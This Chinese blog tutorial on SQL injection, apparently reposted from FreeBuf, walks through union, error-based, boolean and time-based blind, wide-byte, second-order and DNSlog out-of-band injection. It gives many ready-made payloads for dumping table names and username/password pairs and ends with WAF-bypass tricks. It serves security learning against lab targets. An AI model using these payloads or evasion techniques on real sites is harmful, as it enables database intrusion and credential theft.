vlambda博客
学习文章列表

SQL注入的初始&深入


SQL注入原理


SQL注入概念及产生原因?

当web应用向后台数据库传递SQL语句进行数据库操作时。如果对用户输入的参数没有经过严格的过滤处理,那么攻击者就可以构造特殊的SQL语句,直接输入数据库引擎执行,获取或修改数据库中的数据。   

SQL注入的关键点?

用户能控制输入的内容;
web应用把用户输入的内容带入到数据库中执行;
是否回显决定注入难度;

SQL注入的初始&深入

SQL注入的危害?

猜解后台数据库:这是利用最多的方式,盗取网站的敏感信息。
绕过认证:例如绕过验证登陆网站后台。
  1. 后台登录语句:SELECT * FROM admin WHERE Username='user' and Password='pass'  (万能密码绕过:'or '1'='1)#

注入可以借助数据库的存储过程进行提权等操作
种马(如一句话木马)、dos

SQL注入的分类

根据请求方式分类

GET方式(常出现在搜索框或者文章的位置)
POST方式(常出现在表单的位置)

根据参数类型分类

字符型 select * from users where  id=1

数字型 select * from users where id ='1'

根据注入的方法分类

联合注入
常用: ?id=-1' union select 1,2,database()  --+   (需要先判断列数,然后通过union *列查询)
堆叠注入 select 1,2,3;select * from test; 注意:其实就是通过分号将两个查询语句分开

SQL盲注

基于布尔的SQL盲注   ?id=1' and 1=1 --+ (判断值为正常页面正常显示,反之错误)
基于时间的SQL盲注     ?id=1' if(length(datbase())=8,sleep(3),1) --+(判断数据库长度是否为8,正确延时3秒返回,错误返回1,这个1就是个语法,错误的时候,没有回显位,显示不出来1)
基于报错的SQL盲注  ?id=1' and updatexml(1,concat('^',@@version,'^'),1)  --+

根据注入的位置分类

通过用户输入的表单域注入  
通过cookie注入
基于HTTP头部信息的注入

根据数据库分类

MHYSQL数据库注入
ACCESS数据库注入
MSSQL数据库注入
ORACLE数据库注入
其他数据库的注入
文章采用的是mysql注入语句

MYSQL常用的知识了解

常用函数

user()                  //返回当前使用数据库的用户
version()             //返回当前数据库的版本
database()          //返回当前使用的数据库
group_concat()  //多行数据拼接至一行显示+group_by根据分组排序
concat_ws()        //把不同列的数据以特定字符隔开
#  --  --+            //在MYSQL中的注释符   (注意:有时候注释符需要多试几种,有的时候--+不行,但是#可以)
order by             //排序函数  判断列   原理:order by 后面跟哪个列名就是通过跟哪个列进行排序,如果后面跟的是数字,那么1就代表根据第一列排序,2代表第二列,3代表第三列,那么一直输入数字的大小就可以判断数据表有多少列了
count()             //计数函数  报错时候可以用到,或者布尔注入和延时注入时查询有多少个表,多少个列的时候可以用到
rand()              //产生一个随机数返回的随机数是大于等于 0 及小于 1 的均匀分布随机实数     报错注入时候有用
UPDATEXML (XML_document, XPath_string, new_value); 
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。 
第三个参数:new_value,String格式,替换查找到的符合条件的数据 
作用:改变文档中符合条件的节点的值

extractvalue() :对XML文档进行查询的函数

其实就是相当于我们熟悉的HTML文件中用 <div><p><a>标签查找元素一样

语法:extractvalue(目标xml文档,xml路径)

第二个参数 xml中的位置是可操作的地方,xml文档中查找字符位置是用 /xxx/xxx/xxx/…这种格式,如果我们写入其他格式,就会报错,并且会返回我们写入的非法格式内容,而这个非法的内容就是我们想要查询的内容。

INFORMATION_SCHEMA数据库

mysql5.0以下没有该表

SQL注入的初始&深入

MYSQL数据库联合注入流程

联合注入的原理:就是通过mysql的语句union 进行联合查询,联合查询的意思就是联合前面的查询语句一起查询,需要注意的是 联合查询语句的列数需要与前面所查询表的列数相同,不然会报错,联合查询首先要判断列

判断是否存在注入并判断是字符型注入还是数字型

判断是否存在注入点
  1. 通过\ 或者 and1=1 and 1=2  and sleep(3) 查看页面状态  之类的凭感觉是否有注入,有的话判断闭合方式

判断闭合方式
  1. 常规闭合' ') ')) " ") "))   

  2. 奇葩闭合方式    一个)   和两个 ))

通过and 1=1  和and 1=2 来判断是否执行了我们输入的语句
靶场经验(我会经常通过 ' and sleep(3) --+ 延时判断来闭合,个人习惯,然后一步一步找闭合方式,只要能闭合成功,其它都好说)

判断查询列数,显示位置

order by +数字     通过页面状态查看有几列然后通过union select 判断回显位(注意判断回显位的时候,前面查询的值要为假,不然回显位 会被前面查询的结果所占用,导致看不到回显位)
靶场经验(如果order by  被过滤了,可以通过 group by 来判断,或者 union select 1,2,3,4,5,6, 这两的列数查询判断网页状态)

获取数据库信息

利用联合查询,确定那一列数据显示在界面   union select 1,2,3(如果为3列)
注意:(union  和union all 的区别   union all 显示重复的值,而union不显示重复的值,当union select 用不了的时候可以通过union all 来查询)
收集数据库相关信息  database(),user(),version()
查询数据库有哪些数据表  http://127.0.0.1/sqlib/Less-1/?id=-1'  union select 1,2,group_concat( schema_name)  from information_schema.schemata --+
查询某个数据库的所有表  http://127.0.0.1/sqlib/Less-1/?id=-1'  union select 1,2,group_concat( table_name)  from information_schema.tables where table_schema='security' --+
查找某个数据表中有哪些列   http://127.0.0.1/sqlib/Less-1/?id=-1'  union select 1,2,group_concat( column_name)  from information_schema.columns where table_schema='security' and table_name='users' --+
查找具体数据表中的具体数据    http://127.0.0.1/sqlib/Less-1/?id=-1'  union select 1,2,group_concat(username,"__",password)  from security.users --+

破解加密数据

很多时候获取到的密码数据都是md5加密的,可以通过md5网站或者软件进行解密
https://www.cmd5.com/

提升权限

这个我暂时还没学习到,以后再补

内网渗透

这个我暂时还没学习到,以后再补

MYSQL数据库报错注入流程 

通过 floor 报错的方法来爆数据的本质是 group by 语句的报错。group by 语句报错的原因是 floor(random(0)*2)的不确定性,即可能为 0 也可能为 1group by key 执行时循环读取数据的每一行,将结果保存于临时表中。读取每一行的 key 时,如果 key 存在于临时表中,则更新临时表中的数据(更新数据时,不再计算 rand 值);如果该 key 不存在于临时表中,则在临时表中插入 key 所在行的数据。(插入数据时,会再计算rand 值)如果此时临时表只有 key 为 1 的行不存在 key 为 0 的行,那么数据库要将该条记录插入临时表,由于是随机数,插时又要计算一下随机值,此时 floor(random(0)*2)结果可能为 1,就会导致插入时冲突而报错。即检测时和插入时两次计算了随机数的值实际测试中发现,出现报错,至少要求数据记录为 3 行,记录数超过 3 行一定会报错,2 行时是不报错的。

注入流程

id=1' union select count(*),floor(rand(0)*2) x from information_schema.schemata group by x# 判断是否存在报错注入
id=1' union select count(*),concat(floor(rand(0)*2),database()) x from information_schema.schemata group by x #爆出当前数据库名
id=1' union select count(*),concat(floor(rand(0)*2),0x3a,(select concat(table_name) from information_schema.tables where table_schema='dvwa' limit 0,1)) x from information_schema.schemata group by x#爆出表
id=1' union select count(*),concat(floor(rand(0)*2),0x3a,(select concat(column_name) from information_schema.columns where table_name='users' and table_schema='dvwa' limit 0,1)) x from information_schema.schemata group by x#④爆出字段名

id=1' union select count(*),concat(floor(rand(0)*2),0x3a,(select concat(user,0x3a,password) from dvwa.users limit 0,1)) x from information_schema.schemata group by x#  爆出user和password

extractvalue()函数原理:此函数从目标XML中返回包含所查询值的字符串语法:extractvalue(XML_document,xpath_string)第一个参数:string格式,为XML文档对象的名称第二个参数:xpath_string(xpath格式的字符串)extractvalue使用时当xpath_string格式出现错误,mysql则会爆出xpath语法错误(xpath syntax)
  1. ?id=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+爆表
  2. ?id=1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'))) --+爆字段
  3. ?id=1' and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users)))--+爆数据
原理:updatexml()函数
  • updatexml()是一个使用不同的xml标记匹配和替换xml块的函数。

  • 作用:改变文档中符合条件的节点的值

  • 语法:updatexml(XML_document,XPath_string,new_value) 第一个参数:是string格式,为XML文档对象的名称,文中为Doc 第二个参数:代表路径,Xpath格式的字符串例如//title【@lang】 第三个参数:string格式,替换查找到的符合条件的数据

  • updatexml使用时,当xpath_string格式出现错误,mysql则会爆出xpath语法错误(xpath syntax)

  • 例如:select * from test where ide = 1 and (updatexml(1,0x7e,3)); 由于0x7e是~,不属于xpath语法格式,因此报出xpath语法错误。

  1. 注入流程

  2. ?id=1' and updatexml(1,concat(0x7e,(select database(),0x7e),1)--+暴库名

  3. ?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database(),0x7e)),1) -- 爆表
  4. ?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users',0x7e)),1) --+爆字段
  5. ?id=1' and updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password) from users,0x7e)),1)--+爆数据

MYSQL基于布尔型的盲注

原理没啥可说的,就是通过布尔语句判断页面的回显状态

在布尔型注入中,正确会回显,错误没有回显,可以通过and 1=1 和and 1=2 来判断回显状态。
and length(database())=8  判断数据库长度 然后按长度来爆破每个字母
and substr((select database()),1,1)='s'  判断数据库名字  可以通过substr函数来定位字母,依次爆破
and (select count(table_name) from information_schema.tables where table_schema=database())=2#   判断数据库中有多少个表    知道有多少个表之后才能对每个表进行爆破
and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)=9#判断第一个表的长度      //第二个表依次类推     判断第一个表的长度,意义和判断数据库长度一样,然后通过limit的关键之来定位到每个表
and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97#判断第一个表的名字 //第二个表名依次类推     判断每个表的每个字母,通过substr 定位哪个字母,通过limit定位哪个表  通过ascii转换成ascii码 用数字形式判断。这里其实用字母就行,不用转ascii也可以
1' and (select count(column_name) from information_schema.columns where table_name='users')=14#        成功判断第一个表中列数             //第二个表的列依次类推       爆列和爆表的意义都一样啦
1' and length(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1))=1#判断第一个表第一个列的长度   第二列依次类推
1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 3,1),1,1))>97#判断第一个表第一列的名字      //第二个表的列名依次类推
and (select length(user) from users where user_id=1)=5#  爆出需要字段的长度
and ascii(substr((select user from users limit 0,1),1,1))=97#   爆出字段的数据的第一个字母

MYSQL基于时间的盲注

原理:其实就是看页面状态的回显,最重要的一个关键字是sleep()时间盲注就是在布尔的基础上加个判断语句if  和sleep() 若为正确,则执行sleep  不正确,则值不存在

and if(length(database())=8,sleep(3),1)  判断数据库长度 然后按长度来爆破每个字母
and if(substr((select database()),1,1)='s',sleep(3),1)  判断数据库名字  可以通过substr函数来定位字母,依次爆破
and if((select count(table_name) from information_schema.tables where table_schema=database())=2,sleep(3),1)#   判断数据库中有多少个表    知道有多少个表之后才能对每个表进行爆破
and if((select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)=9,sleep(3),1)#判断第一个表的长度      //第二个表依次类推     判断第一个表的长度,意义和判断数据库长度一样,然后通过limit的关键之来定位到每个表
and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97,sleep(3),1)#判断第一个表的名字 //第二个表名依次类推     判断每个表的每个字母,通过substr 定位哪个字母,通过limit定位哪个表  通过ascii转换成ascii码 用数字形式判断。这里其实用字母就行,不用转ascii也可以
1' and if((select count(column_name) from information_schema.columns where table_name='users')=14,sleep(3),1)#        成功判断第一个表中列数             //第二个表的列依次类推       爆列和爆表的意义都一样啦
1' and if(length(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1))=1,sleep(3),1)#判断第一个表第一个列的长度   第二列依次类推
1' and if(ascii(substr((select column_name from information_schema.columns where table_name='users' limit 3,1),1,1))>97,sleep(3),1)#判断第一个表第一列的名字      //第二个表的列名依次类推
and if((select length(user) from users where user_id=1)=5,sleep(3),1)#  爆出需要字段的长度
and if(ascii(substr((select user from users limit 0,1),1,1))=97,sleep(3),1)#   爆出字段的数据的第一个字母

宽字节注入

宽字节注入产生的原理
宽字节注⼊源于程序员设置MySQL连接时错误配置为:set character_set_client=gbk,这样配置会引发编码转换从⽽导致的注⼊漏洞。具体原理如下:1,正常情况下当GPC开启或使⽤addslashes函数过滤GET或POST提交的参数时,⿊客使⽤的单引号'就会被转义为: ';2,但如果存在宽字节注⼊,我们输⼊%df%27时⾸先经过上⾯提到的单引号转义变成了%df%5c%27(%5c是反斜杠),之后在数据库查询前由于使⽤了GBK多字节编码,即在汉字编码范围内两个字节会被编码为⼀个汉字。然后MySQL服务器会对查询语句进⾏GBK编码即%df%5c转换成了汉字“運”,⽽单引号逃逸了出来,从⽽造成了注⼊漏洞。GBK编码导致宽字节注⼊
GBK编码是数据库编码,跟前台的编码⽆关GBK转UTF-8
原理其实跟前⾯⾥原理⾥说的第2条是⼀样的,我们输⼊%df%27时⾸先经过上⾯提到的单引号转义变成了%df%5c%27(%5c是反斜杠),然后%df%5c正好属于gbk的汉字编码范围,经过iconv转换到utf-8编码转换后变成了汉字“運”,从⽽吞掉了反斜杠使得单引号逃脱出来。UTF-8转GBK
这⾥我们思考下“錦”这个字,它的utf-8编码是e98ca6,它的gbk编码是%e5%5c,⽽上⾯提到过反斜杠\正好为%5c。所以如果我们将title设置为:錦’,⾸先经过addlashes函数或GPC对单引号转义变为:錦’,然后会经过icnov函数会对”錦”转化为gbk编码,最后就是:%e5%5c%5c%27。反斜杠被转义了(%5c%5c),从⽽单引号逃逸出来就会引发注⼊漏洞。

二次注入

二次注入可以理解为,攻击者构造的恶意数据存储在数据库后,恶意数据被读取并进入到SQL查询语句所导致的注入。防御者可能在用户输入恶意数据时对其中的特殊字符进行了转义处理,但在恶意数据插入到数据库时被处理的数据又被还原并存储在数据库中,当Web程序调用存储在数据库中的恶意数据并执行SQL查询时,就发生了SQL二次注入。二次注入,可以概括为以下两步:

第一步:插入恶意数据
进行数据库插入数据时,对其中的特殊字符进行了转义处理,在写入数据库的时候又保留了原来的数据。

第二步:引用恶意数据
开发者默认存入数据库的数据都是安全的,在进行查询时,直接从数据库中取出恶意数据,没有进行进一步的检验的处理。

SQL注入的初始&深入

DNSlog注入

原理:就是通过固定的命令和参数对注入点进行查询,查询成功后,通过concat语句将查询成功的结果和第二个参数进行拼接,拼接后成为一个UNC路径,并想DNS服务器发起域名解析,解析之后,我们通过查询解析结果就可以更快的获取数据啦。

SQL注入的初始&深入

作为攻击者,提交注入语句,让数据库把需要查询的值和域名拼接起来,然后发生DNS查询,我们只要能获得DNS的日志,就得到了想要的值。所以我们需要有一个自己的域名,然后在域名商处配置一条NS记录,然后我们在NS服务器上面获取DNS日志即可。
dnslog注入也可以称之为dns带外查询,是一种注入姿势,可以通过查询相应的dns解析记录,来获取我们想要的数据
为什么要进行dnslog注入?一般情况下,在我们无法通过联合查询直接获取数据的情况下,我们只能通过盲注,来一步步的获取数据,但是,使用盲注,手工测试是需要花费大量的时间的,可能会想到使用sqlmap直接去跑出数据,但在实际测试中,使用sqlmap跑盲注,有很大的几率,网站把ip给封掉,这就影响了我们的测试进度,也许你也可以使用代理池。

DNSlog需要理解的参数

secure_file_priv特性
secure_file_priv特性,有三种状态
secure_file_priv为null    表示不允许导入导出
secure_file_priv指定文件夹时,表示mysql的导入导出只能发生在指定的文件夹
secure_file_priv没有设置时,则表示没有任何限制

LOAD_FILE()函数

LOAD_FILE()函数读取一个文件并将其内容作为字符串返回
语法为:load_file(file_name),其中file_name是文件的完整路径
函数使用需要满足的条件
文件必须位于服务器主机上
你必须具有该FILE权限才能读取该文件。拥有该FILE权限的用户可以读取服务器主机上的任何文件,该文件是world-readable的或MySQL服务器可读的,此属性与secure_file_priv状态相关 文件必须是所有人都可读的,并且它的大小小于max_allowed_packet字节

UNC路径

UNC路径就是类似\\softer这样的形式的网络路径。它符合 \\servername\sharename 格式,其中servername 是服务器名,sharename 是共享资源的名称。

DNSLOG平台

http://www.dnslog.cn

http://admin.dnslog.link

http://ceye.io

POST注入

这个就不写了,和正常注入的区别就是通过抓包然后在包里改http头信息或者参数,cookie等信息的注入,判断闭合和注入语句都和正常注入没区别

SQL注入之绕过

WAF产生的背景:
传统防火墙 ( firewall ) 阻断数据包工作网络层Web服务器功能丰富成为攻击目标 (应用层)waf由此而生WAF(web application rewall)称为web应用防火墙,他是通过执行一系列针对HTTP,HTTPS的安全策略,来专门对web应用提供保护的一款产品。WAF是基于规则的防护,可以提供各种web应用的安全规则,waf生产商去维护这个规则库,并实时为其更新,用户按照这些规则,可以对应用进行全方面的保护
架构层绕过waf        
  1. 用户本身是进入waf后访问web页面的,只要我们找到web的真实IP,绕过waf就不在话下了在同网段内,页面与页面之间,服务器与服务器之间,通过waf的保护,然后展示给我们,只要我们在内部服务之间进行访问,即可绕过waf边界漏洞,同样类似于同网段数据,我们可以利用已知服务器存在的ssrf漏洞,将数据直接发送给同网段的web2进行SQL注入

资源限制角度绕waf  
  1. 由于数据太大,会导致waf无法将所有的数据都检测完,这个时候会忽略掉我们代入的sql注入语句,从而绕过waf,即:使用POST请求,对服务器请求很大资源数据,逃逸sql注入语句。

协议层面绕过
  1. 基于协议层,有的waf只过滤GET请求,而对POST请求没做别的限制,因此,可以将GET型换为POST型文件格式,页面仅对Content-Type为application/x-www-form-urlencoded数据格式进行过滤,因此我们只要将Content-Type格式修改为multipart/form-data,即可绕过waf参数污染:有的waf仅对部分内容进行过滤,例如:index。php?id=1&id=2&id=3这样的参数id=1,waf也仅对前部分的id=1进行检测,而后面的参数并不做处理。这样我们就可以在id=2的后面写入sql注入语句进行sql注入

规则层面绕waf
  1. 等价函数 :  

    1. hex()、bin() ==> ascii()         

    2. sleep() >benchmark()         

    3. concat_ws()>group_concat()        

    4. mid()、substr() ==> substring() 

    5. @@version ==> version()

  2. 等价符号 :

    1. and和or不能使用可以尝试下&&和||,还有=不能使用的情况可以考虑尝试<、>因为如果不小于又不大于那便是等于。逻辑异或xor,like(可以)特殊符号:使用反引号`,例如select `version()`,可以用来过空格和正则,特殊情况下还可以将其做注释符用, group by 9(可以)

  3. 缓冲区溢出:

    1. and(select 1)=(Select 0xA*1000) uNiOn SeLeCt 1,2,version() --+

宽字节绕过 : yuns’
asp允许每个字符前面添加一个%号SELECT FIELD FROM TABLE ààà %S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E
二次注入 : admin ‘#   
  1. 二次注入是一种应对转义的手段,其能成功的核心点是只被转义一次的情况下“/”不会被存入数据库,所以取出来的数据没有转义符号

编码绕过(utf,base64,url,unicode)
  1. ("1' AND SLEEP(5)#")à 'MScgQU5EIFNMRUVQKDUpIw=='

  2. SELECT(extractvalue(0x3C613E61646D696E3C2F613E,0x2f61))

大小写绕过 : selectààSelEcT
双写绕过 : selselectect ààselect
内联注释 : /*!xxx*/ ,/*!44232*/ /**/ /*!xxx*/
替代空格 : %a0 , %0d , c , d ,%20 ,%09 ,%0b, +,/**/ , /*!xxxxxxxxxx*/
注   释 :%23%0a



文章来源:www.freebuf.com

   


往期精彩



感兴趣的可以点个关注!!!

关注「安全先师」
把握前沿安全脉搏